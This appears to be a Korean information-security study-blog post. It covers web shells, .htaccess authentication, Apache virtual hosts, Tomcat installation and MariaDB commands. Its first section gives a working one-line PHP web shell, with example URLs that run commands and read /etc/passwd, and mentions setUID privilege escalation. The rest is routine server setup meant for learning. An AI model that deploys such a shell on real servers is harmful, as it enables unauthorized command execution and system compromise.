정보보안 스터디 - 8주차 5일 - tomcat, JSP
☞ 웹쉘 제작
웹 서버에 파일업로드 기능을 통해 웹쉘을 올릴 수 있다면
사이트에서 cmd 명령어들이 가능합니다.
제작방법도 되게 간단하죠
<pre> <?php echo shell_exec($_GET['cmd']); ?> <pre> |
get방식으로 쉘을 실행시킵니다.
www.wonder.com/cmd.php?cmd=ls+-la
www.wonder.com/cmd.php?cmd=cat /etc/passwd
등등 다양한 명령어를 사용할 수 있지만
대신 id 는 apache이기 때문에 모든 사용자 권한이 있는 자료만 확인, 실행이 가능합니다.
setUID로 된 실행파일을 찾거나 만들 수 있으면 권한상승이 가능할 수도 있습니다.
공격자들은 이런식으로 권한상승을 하여, 웹서버에 공격합니다.
☞ .htaccess 관리자페이지 제작
관리자 페이지에 접속하면 id pwd를 물어보고
특정 페이지는 접근을 제한할 수 있습니다.
- AllowOverride AuthConfig 추가
- 'htpasswd 명령어를 이용하여 '/etc/httpd/conf/mypasswd' 파일을 생성
☞ 서버 논리적으로 분배
웹서버를 서버1에 구현을 했다면 보통 웹서버를 기능별로, 카테고리별로 나누기 위해서 여러개의 서버를 구축합니다.
물리적으로는 서버가 하나이기 때문에 다른 서버를 새로 구축해야 하지만
논리적으로 여러 개의 서버를 만들기 위해서 3가지 방법으로 나눕니다.
이렇게 논리적으로 나누면
회원의 요청이 적을 경우에는 새로만들지 않아도 되고 비용이 들지 않아 효율적입니다.
하지만 회원이 요청이 많을 경우 웹서버의 처리 속도가 많이 느려지기 때문에 비효율적입니다.
도메인을 기준으로 나눠 서로 다른 디렉토리에 접근합니다ㅣ.
www1.wonder.com > /www1/index.php
www2.wonder.com > /www2/index.php
www3.wonder.com > /www3/index.php
설정과정
일단 서버에서는
vi /etc/httpd/conf.d/vhost.conf 를 들어가
ip를 /www1 경로에 연결해줘야합니다.
루트디렉토리를 지정하는 설정입니다.
현재 DNS 서버가 구성되지 않았으니 서버에서 도메인 설정을 하기 어렵습니다.
그러므로 클라이언트에서 자체적으로 도메인 연결 설정하면 됩니다.
vi /etc/hosts 파일을 열어 수정해줍니다.
192.168.2.200 www1.wonder.com
한 서버에 ip를 여러개 추가하여 ip기준으로 나눕니다.
192.168.2.200 > /www1/index.php
192.168.2.210 > /www2/index.php
192.168.2.220 > /www3/index.php
서버에서는 ip를 추가해줍니다.
nmcli connection modify ens33 +ipv4.address 192.168.2.200/24 +ipv4.address 192.168.2.210/24 +ipv4.address 192.168.2.220/24
nmcli connection up ens33
nmcli connection show ens33 | grep
vi /etc/httpd/conf.d/vhost.conf 를 들어가
설정이 되었다면
systemctl restart httpd 해줍니다.
클라이언트에서는
vi /etc/hosts 파일을 열어
192.168.2.200 www1.wonder.com
192.168.2.210 www2.wonder.com
192.168.2.220 www3.wonder.com
포트 기준으로 나눕니다.
기본 포트는 80포트이지만 81, 82 포트 등을 사용할 수 있습니다.
하지만 23: telnet 22: ssh 등 예약된 포트는 사용할 수 없습니다.
192.168.2.200:81 > /www1/index.php
192.168.2.200:82 > /www2/index.php
192.168.2.200:83 > /www3/index.php
여기서
Listen 80 번은 기본값으로 설정되어있으므로
Listen 81
Listen 82
Listen 83
설정을 해줍니다.
☞ tomcat
tomcat은 html 뿐만아니라 동적웹을 구현하려면 JSP가 필요한데
tomcat은 jsp를 실행시킬 수 있는 프로그램입니다.
다른 예로 동적웹을 구현하는 php가 있는데, php언어를 실행시키는 웹서버는 apache입니다.
대부분 중소기업, 가벼운 프로젝트에서는 php를 많이사용하고 그만큼 호환성이 높습니다.
하지만 오픈소스이기 때문에 보안에 취약합니다.
대규모 시스템에서는 안정성이 좋은 jsp를 사용합니다.
여기서 자바스크립트와 jsp/php의 차이점입니다.
jsp/php는 서버 측언어로 외부자에게 코드가 노출되지 않습니다. 결과를 웹브라우저로 전송합니다. 추가적으로 jsp는 자바 문법이 사용가능합니다. |
javscript는 웹브라우저에서 실행됩니다. 클라이언트 등 외부자에게 코드가 노출됩니다. |
tomcat설치
자바기반이므로 jdk를 설치해줍니다.
yum -y install java-1.8.0-openjdk.x86_64
디렉토리 명이 길기 때문에 심볼릭 링크로 간단하게 줄여줍니다.
ln -s apache-tomcat-9.0.65 tomcat
로그인마다 경로가 유지되도록 지정해줍니다.
echo 'export CATALINA_HOME="/usr/local/tomcat"' >> .bashrc
source .bashrc
tomcat은 wget으로 다운받은 외부 프로그램이므로
보통 /usr/local/tomcat/bin/startup.sh 쉘스크립트 파일을 실행시켜서 on하거나
/usr/local/tomcat/bin/shutdown.sh 로 끌 수 있지만
systemctl enable --now tomcat 이런식으로 관리하고 싶다면
tomcat.service 를 따로 만들어줘야합니다.
아무나 구동할 수 없도록 구동가능한 사용자를 생성합니다. useradd --system -s /sbin/nologin tomcat |
chown -R tomcat:tomcat /usr/local/apache-tomcat-9.0.65 디렉토리 전체를 tomcat을 소유자로 지정해야 등록이 가능합니다. 여기서는 링크가 아닌 원본을 지정해줘야합니다. |
tomcat.service 생성 vi /usr/lib/systemd/system/tomcat.service [Unit] Description=Tomcat Server After=syslog.target network.target [Service] Type=forking User=tomcat Group=tomcat Environment=JAVA_HOME=/usr/lib/jvm/jre Environment=CATALINA_HOME=/usr/local/tomcat Environment=CATALINA_BASE=/usr/local/tomcat ExecStart=/usr/local/tomcat/bin/catalina.sh start ExecStop=/usr/local/tomcat/bin/catalina.sh stop [Install] WantedBy=multi-user.target |
구동확인 systemctl daemon-reload systemctl enable --now tomcat systemctl list-unit-files | grep tomcat >>> enable확인 |
☞ tomcat - Maria DB (mysql) 연동
연동을하려면 MariaDB JDBC Driver라는 것을 wget으로 다운 받아야합니다.
데이터베이스 명령어
use mega; |
show tables; drop table linux; 테이블 삭제 |
show databases; drop database mega; 데이터베이스 삭제 |
delete from linux; 테이블안의 전체 데이터 삭제 |
alter table linux modify email varchar(20) first; 처음위치 /20바이트로 수정 |
alter table linux modify email varchar(10) after id; id 뒤로 수정 |
alter table linux drop email; 이메일 컬럼만 삭제 |